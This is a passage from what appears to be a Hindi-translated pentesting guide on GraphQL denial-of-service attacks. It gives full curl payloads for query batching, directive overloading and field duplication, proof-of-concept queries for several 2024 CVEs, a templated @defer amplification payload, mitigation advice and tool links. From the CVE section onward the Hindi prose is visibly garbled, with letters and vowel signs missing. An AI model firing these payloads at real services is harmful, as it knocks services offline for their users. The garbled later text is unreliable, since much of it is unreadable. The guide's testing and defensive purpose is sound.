**Array-based Query Batching** एक कमजोरियों है जहाँ एक GraphQL API एकल अनुरोध में कई क्वेरियों को बैच करने की अनुमति देती है, जिससे एक हमलावर को एक साथ बड़ी संख्या में क्वेरियाँ भेजने की अनुमति मिलती है। यह सभी बैच की गई क्वेरियों को समानांतर में निष्पादित करके बैकएंड को अभिभूत कर सकता है, अत्यधिक संसाधनों (CPU, मेमोरी, डेटाबेस कनेक्शन) का उपभोग कर सकता है और संभावित रूप से **Denial of Service (DoS)** का कारण बन सकता है। यदि बैच में क्वेरियों की संख्या पर कोई सीमा नहीं है, तो एक हमलावर इसका लाभ उठाकर सेवा की उपलब्धता को कम कर सकता है।
```graphql
# Test provided by https://github.com/dolevf/graphql-cop
curl -X POST -H "User-Agent: graphql-cop/1.13" \
-H "Content-Type: application/json" \
-d '[{"query": "query cop { __typename }"}, {"query": "query cop { __typename }"}, {"query": "query cop { __typename }"}, {"query": "query cop { __typename }"}, {"query": "query cop { __typename }"}, {"query": "query cop { __typename }"}, {"query": "query cop { __typename }"}, {"query": "query cop { __typename }"}, {"query": "query cop { __typename }"}, {"query": "query cop { __typename }"}]' \
'https://example.com/graphql'
```
इस उदाहरण में, 10 विभिन्न क्वेरीज़ को एक अनुरोध में समाहित किया गया है, जिससे सर्वर को सभी को एक साथ निष्पादित करने के लिए मजबूर किया जाता है। यदि बड़े बैच आकार या गणनात्मक रूप से महंगे क्वेरीज़ के साथ इसका शोषण किया जाए, तो यह सर्वर को ओवरलोड कर सकता है।
### **निर्देश ओवरलोडिंग कमजोरियाँ**
**निर्देश ओवरलोडिंग** तब होती है जब एक GraphQL सर्वर अत्यधिक, दोहराए गए निर्देशों के साथ क्वेरीज़ की अनुमति देता है। यह सर्वर के पार्सर और निष्पादक को अभिभूत कर सकता है, विशेष रूप से यदि सर्वर बार-बार समान निर्देश लॉजिक को प्रोसेस करता है। उचित सत्यापन या सीमाओं के बिना, एक हमलावर इसे शोषित कर सकता है, एक क्वेरी तैयार करके जिसमें कई दोहराए गए निर्देश होते हैं, जिससे उच्च गणनात्मक या मेमोरी उपयोग को ट्रिगर किया जा सकता है, जो **सेवा से इनकार (DoS)** की स्थिति का कारण बनता है।
```bash
# Test provided by https://github.com/dolevf/graphql-cop
curl -X POST -H "User-Agent: graphql-cop/1.13" \
-H "Content-Type: application/json" \
-d '{"query": "query cop { __typename @aa@aa@aa@aa@aa@aa@aa@aa@aa@aa }", "operationName": "cop"}' \
'https://example.com/graphql'
```
ध्यान दें कि पिछले उदाहरण में `@aa` एक कस्टम निर्देश है जो **घोषित नहीं किया जा सकता**। एक सामान्य निर्देश जो आमतौर पर मौजूद होता है वह है **`@include`**:
```bash
curl -X POST \
-H "Content-Type: application/json" \
-d '{"query": "query cop { __typename @include(if: true) @include(if: true) @include(if: true) @include(if: true) @include(if: true) }", "operationName": "cop"}' \
'https://example.com/graphql'
```
आप सभी घोषित निर्देशों का पता लगाने के लिए एक अंतर्दृष्टि प्रश्न भी भेज सकते हैं:
```bash
curl -X POST \
-H "Content-Type: application/json" \
-d '{"query": "{ __schema { directives { name locations args { name type { name kind ofType { name } } } } } }"}' \
'https://example.com/graphql'
```
और फिर **कुछ कस्टम** का उपयोग करें।
### **फील्ड डुप्लिकेशन कमजोरियाँ**
**फील्ड डुप्लिकेशन** एक कमजोरियाँ है जहाँ एक GraphQL सर्वर एक ही फील्ड को अत्यधिक दोहराए जाने वाले प्रश्नों की अनुमति देता है। यह सर्वर को हर उदाहरण के लिए फील्ड को पुनः हल करने के लिए मजबूर करता है, जिससे महत्वपूर्ण संसाधनों (CPU, मेमोरी, और डेटाबेस कॉल) की खपत होती है। एक हमलावर सैकड़ों या हजारों दोहराए गए फील्ड के साथ प्रश्न तैयार कर सकता है, जिससे उच्च लोड उत्पन्न होता है और संभावित रूप से **सेवा से इनकार (DoS)** की स्थिति उत्पन्न हो सकती है।
```bash
# Test provided by https://github.com/dolevf/graphql-cop
curl -X POST -H "User-Agent: graphql-cop/1.13" -H "Content-Type: application/json" \
-d '{"query": "query cop { __typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n} ", "operationName": "cop"}' \
'https://example.com/graphql'
```
## हाल की कमजोरियाँ (2023-2025)
> GraphQL पारिस्थितिकी तंत्र बहुत तेजी से विकसित हो रहा है; पिछले दो वर्षों में कई महत्वपूर्ण मुद्दे सबसे अधिक उपयोग की जाने वाली सर्वर लाइब्रेरीज़ में उजागर हुए हैं। जब आप एक GraphQL एंडपॉइंट पाते हैं, तो इंजन की पहचान करना (देखें **graphw00f**) और चल रही संस्करण की जांच करना नीचे दी गई कमजोरियों के खिलाफ महत्वपूर्ण है।
### CVE-2024-47614 `async-graphql` निर्देश-ओवरलोड DoS (Rust)
* प्रभावित: async-graphql < **7.0.10** (Rust)
* मूल कारण: **नकली निर्देशों** पर कोई सीमा नहीं (जैसे हजारों `@include`) जो निष्पादन नोड्स की एक गुणात्मक संख्या में विस्तारित होते हैं।
* प्रभाव: एकल HTTP अनुरोध CPU/RAM को समाप्त कर सकता है और सेवा को क्रैश कर सकता है।
* समाधान/निवारण: ≥ 7.0.10 में अपग्रेड करें या `SchemaBuilder.limit_directives()` कॉल करें; वैकल्पिक रूप से `"@include.*@include.*@include"` जैसे WAF नियम के साथ अनुरोधों को फ़िल्टर करें।
```graphql
# PoC repeat @include X times
query overload {
__typename @include(if:true) @include(if:true) @include(if:true)
}
```
### CVE-2024-40094 `graphql-java` ENF गहराई/जटिलता बायपास
* प्रभावित: graphql-java < 19.11, 20.0-20.8, 21.0-21.4
* मूल रण: **ExecutableNormalizedFields** `MaxQueryDepth` / `MaxQueryComplexity` उपकरण द्व नह गया। पुनरवर्त फ़्रैगमेंट्स ने सभ ओं यप कर िा।
* प्रभव: graphql-java (Spring Boot, Netflix DGS, Atlassian उत्प…) एम्बेड करने ले Java स्टैक्स के ि अनधिकृत DoS
```graphql
fragment A on Query { ...B }
fragment B on Query { ...A }
query { ...A }
```
### CVE-2023-23684 WPGraphQL SSRF to RCE chain
* प्रभित: WPGraphQL 1.14.5 (WordPress प्लगइन)।
* मूल रण: `createMediaItem` म्यूटेशन ने हमलवर-नियंत्रि **`filePath` URLs** स्व िा, िससे आंतरि नेटवर्क पहुंच और फ़इल लेखन अनुमति िी।
* प्रभव: प्रमि संपदक/लेखक मेटडेट एंडपइंट्स तक पहुंच सकते थे दूरस्थ िष्पदन के ि PHP फ़इलें ि सकते थे
---
## Incremental delivery abuse: `@defer` / `@stream`
2023 से अधिंश प्रमुख सर्वर (Apollo 4, GraphQL-Java 20+, HotChocolate 13) ने GraphQL-over-HTTP WG द्व परिि **incremental delivery** िर्देश गू िा। हर िफर्ड पैच **अलग टुकड़े** के रूप में भेज है, इसलि कुल प्रतिक्रि आक *N + 1* (ि + पैच) है एक क्वेर िसमें हज टे िफर्ड फ़ल्ड ते हैं, इसलि एक बड़ उत्तर उत्पन्न करत है जबकि हमलवर केवल एक अनुर गत आत है - एक रंपरि **amplification DoS** और शर के आक के WAF ियम यप करने एक तर केवल पहले टुकड़े ंच करते हैं WG के सदस्य ने स्वयं इस ि िह्नि िा।
2,000 पैच उत्पन्न करने उदहरण पेलड:
```graphql
query abuse {
% for i in range(0,2000):
f{{i}}: __typename @defer
% endfor
}
```
Mitigation: उत्पदन में `@defer/@stream` बंद करें `max_patches`, संचय `max_bytes` और िष्पदन समय गू करें **graphql-armor** जैस पुस्तकलय (चे देखें) पहले से समझद से िफ़ल्ट गू करते हैं
---
## Defensive middleware (2024+)
| Project | Notes |
|---|---|
| **graphql-armor** | Escape Tech द्व प्रकि Node/TypeScript न्यत मध्यवर्ती। क्वेर गहर, उपन/क्षेत्र/िर्देश गणना, कन और गत के ि प्लग-एंड-प्ले एँ गू करत है; Apollo Server, GraphQL Yoga/Envelop, Helix आदि के संगत |
Quick start:
```ts
import { protect } from '@escape.tech/graphql-armor';
import { applyMiddleware } from 'graphql-middleware';
const protectedSchema = applyMiddleware(schema, ...protect());
```
`graphql-armor` अब अत्यधि गहरे, जटि िर्देश-भ प्रश्न ब्ल करेगा, उपरक्त CVEs के ि सुरक्ष प्रद करेगा।
---
## उपकरण
### कमजोरियों के स्कैनर
- [https://github.com/dolevf/graphql-cop](https://github.com/dolevf/graphql-cop): graphql अंत िंदुओं न्य गलत न्फ़िगरेशन परक्षण करें
- [https://github.com/assetnote/batchql](https://github.com/assetnote/batchql): बैच GraphQL प्रश्न और म्यूटेशन करने पर ध्य केंद्रि करने GraphQL सुरक्ष ऑडििंग स्क्रिप्ट
- [https://github.com/dolevf/graphw00f](https://github.com/dolevf/graphw00f): उपय ि रहे graphql िंगरप्रिंटिंग करें
- [https://github.com/gsmith257-cyber/GraphCrawler](https://github.com/gsmith257-cyber/GraphCrawler): टूलकि िसक उपय स्कओं पकड़ने और संवेदनश डेट , प्रिकरण परक्षण, ब्रूट र्स स्कओं और एक ि गए प्रक के ि पथ जने के ि ि सकत है
- [https://blog.doyensec.com/2020/03/26/graphql-scanner.html](https://blog.doyensec.com/2020/03/26/graphql-scanner.html): इसे स्टैंडअल [Burp extension](https://github.com/doyensec/inql) के रूप में उपय ि सकत है
- [https://github.com/swisskyrepo/GraphQLmap](https://github.com/swisskyrepo/GraphQLmap): इसे CLI क्लइंट के रूप में उपय ि सकत है ि हमल स्वचि ि सके: `python3 graphqlmap.py -u http://example.com/graphql --inject`
- [https://gitlab.com/dee-see/graphql-path-enum](https://gitlab.com/dee-see/graphql-path-enum): टूल **GraphQL स्कीमा में एक दिए गए प्रकार तक पहुँचने के विभिन्न तरीकों** सूच बन है
- [https://github.com/doyensec/GQLSpection](https://github.com/doyensec/GQLSpection): InQL के स्टैंडअल और CLI उत्तरि
- [https://github.com/doyensec/inql](https://github.com/doyensec/inql): उन्नत GraphQL परक्षण के ि Burp extension python स्क्रिप्ट _**Scanner**_ InQL v5.0 मूल है, जह आप एक GraphQL अंत िंदु एक स्थ अंतर्दृष्टि स्क फ़इल िश्लेषण कर सकते हैं यह सभ संभि प्रश्न और म्यूटेशन स्वचि रूप से उत्पन्न करत है, उन्हें आपके िश्लेषण के ि एक संरचि दृश्य में व्यवस्थि करत है _**Attacker**_ घटक आपक बैच GraphQL हमले चलने अनुमति देत है, खर र्यन्वि दर ओं करने के ि उपय सकत है: `python3 inql.py -t http://example.com/graphql -o output.json`
- [https://github.com/nikitastupin/clairvoyance](https://github.com/nikitastupin/clairvoyance): कुछ Graphql डेटबेस मदद से स्क प्रप्त करने ि करें म्यूटेशन और पैरटर के सुझएंगे, भले अंतर्दृष्टि अक्षम ो।
### सामान्य कमजोरियों का शोषण करने के लिए स्क्रिप्ट
- [https://github.com/reycotallo98/pentestScripts/tree/main/GraphQLDoS](https://github.com/reycotallo98/pentestScripts/tree/main/GraphQLDoS): कमज graphql वरण में सेव से इनक कमजि षण करने के ि स्क्रिप्ट संग्रह
### क्लाइंट
- [https://github.com/graphql/graphiql](https://github.com/graphql/graphiql): GUI क्लइंट
- [https://altair.sirmuel.design/](https://altair.sirmuel.design/): GUI क्लइंट
### स्वचालित परीक्षण
{{#ref}}
https://graphql-dashboard.herokuapp.com/
{{#endref}}
- AutoGraphQL समझने ि: [https://www.youtube.com/watch?v=JJmufWfVvyU](https://www.youtube.com/watch?v=JJmufWfVvyU)
## संदर्भ
- [**https://jondow.eu/practical-graphql-attack-vectors/**](https://jondow.eu/practical-graphql-attack-vectors/)
- [**https://medium.com/@the.bilal.rizwan/graphql-common-vulnerabilities-how-to-exploit-them-464f9fdce696**](https://medium.com/@the.bilal.rizwan/graphql-common-vulnerabilities-how-to-exploit-them-464f9fdce696)
- [**https://medium.com/@apkash8/graphql-vs-rest-api-model-common-security-test-cases-for-graphql-endpoints-5b723b1468b4**](https://medium.com/@apkash8/graphql-vs-rest-api-model-common-security-test-cases-for-graphql-endpoints-5b723b1468b4)
- [**http://ghostlulz.com/api-hacking-graphql/**](http://ghostlulz.com/api-hacking-graphql/)
- [**https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/GraphQL%20Injection/README.md**](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/GraphQL%20Injection/README.md)
- [**https://medium.com/@the.bilal.rizwan/graphql-common-vulnerabilities-how-to-exploit-them-464f9fdce696**](https://medium.com/@the.bilal.rizwan/graphql-common-vulnerabilities-how-to-exploit-them-464f9fdce696)
- [**https://portswigger.net/web-security/graphql**](https://portswigger.net/web-security/graphql)
- [**https://github.com/advisories/GHSA-5gc2-7c65-8fq8**](https://github.com/advisories/GHSA-5gc2-7c65-8fq8)
- [**https://github.com/escape-tech/graphql-armor**](https://github.com/escape-tech/graphql-armor)
{{#include ../../banners/hacktricks-training.md}}